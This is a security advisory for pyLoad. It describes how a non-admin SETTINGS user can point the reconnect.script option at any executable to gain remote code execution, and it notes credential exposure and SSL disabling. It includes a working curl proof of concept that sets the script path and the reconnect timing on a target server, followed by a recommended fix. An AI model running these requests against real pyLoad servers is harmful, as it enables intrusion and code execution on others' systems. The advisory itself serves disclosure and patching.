PYSEC-2026-2996

Summary

The set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.

Details

The vulnerability chain spans two components:

1. Unrestricted config write — src/pyload/core/api/__init__.py:210-243

@permission(Perms.SETTINGS)
@post
def set_config_value(self, category: str, option: str, value: Any, section: str = "core") -> None:
    self.pyload.addon_manager.dispatch_event(
        "config_changed", category, option, value, section
    )
    if section == "core":
        if category == "general" and option == "storage_folder":
            # Forbid setting the download folder inside dangerous locations
            # ... validation only for storage_folder ...
            return

        self.pyload.config.set(category, option, value)  # No validation for any other option

The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storage_folder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.

2. Arbitrary script execution — src/pyload/core/managers/thread_manager.py:157-199

def try_reconnect(self):
    if not (
        self.pyload.config.get("reconnect", "enabled")
        and self.pyload.api.is_time_reconnect()
    ):
        return False

    # ... checks if active downloads want reconnect ...

    reconnect_script = self.pyload.config.get("reconnect", "script")
    if not os.path.isfile(reconnect_script):
        self.pyload.config.set("reconnect", "enabled", False)
        self.pyload.log.warning(self._("Reconnect script not found!"))
        return

    # ... reconnect logic ...

    try:
        subprocess.run(reconnect_script)  # Executes attacker-controlled path
    except Exception:
        # ...

The reconnect_script value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.

3. Attacker also controls timing via same SETTINGS permission

The attacker can set reconnect.enabled=True, reconnect.start_time, and reconnect.end_time through the same set_config_value() endpoint to control when execution occurs. toggle_reconnect() at line 321 requires only Perms.STATUS — an even lower privilege.

4. Additional privilege escalation via config access

Beyond RCE, the same unrestricted config write allows SETTINGS users to: - Read proxy credentials (proxy.username/proxy.password) in plaintext via get_config() - Redirect syslog to an attacker-controlled server (log.syslog_host/log.syslog_port) - Disable SSL (webui.use_ssl=False), rebind to 0.0.0.0 (webui.host) - Modify SSL certificate/key paths to enable MITM

PoC

Step 1: Set reconnect script to an attacker-controlled executable

Via API:

# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' \
  -d 'username=settingsuser&password=pass123'

# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'

Via Web UI:

curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \
  -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'

Step 2: Enable reconnect and set timing window

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=start_time&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=end_time&value=23:59&section=core'

Step 3: Script executes when thread manager calls try_reconnect()

The thread manager's run() method (called repeatedly by the core loop) invokes try_reconnect(), which calls subprocess.run(reconnect_script) at thread_manager.py:199.

Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

Impact

• Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user
• Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability
• Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via get_config()
• Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

Recommended Fix

Add an allowlist or category-level restriction in set_config_value() that prevents non-admin users from modifying security-critical options:

# In set_config_value(), after the storage_folder check:
ADMIN_ONLY_OPTIONS = {
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "use_ssl"),
    ("webui", "ssl_cert"),
    ("webui", "ssl_key"),
    ("log", "syslog_host"),
    ("log", "syslog_port"),
    ("proxy", "username"),
    ("proxy", "password"),
}

if section == "core" and (category, option) in ADMIN_ONLY_OPTIONS:
    # Require ADMIN role for security-critical settings
    if not self.pyload.api.user_data.get("role") == Role.ADMIN:
        raise PermissionError(f"Admin role required to modify {category}.{option}")

Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.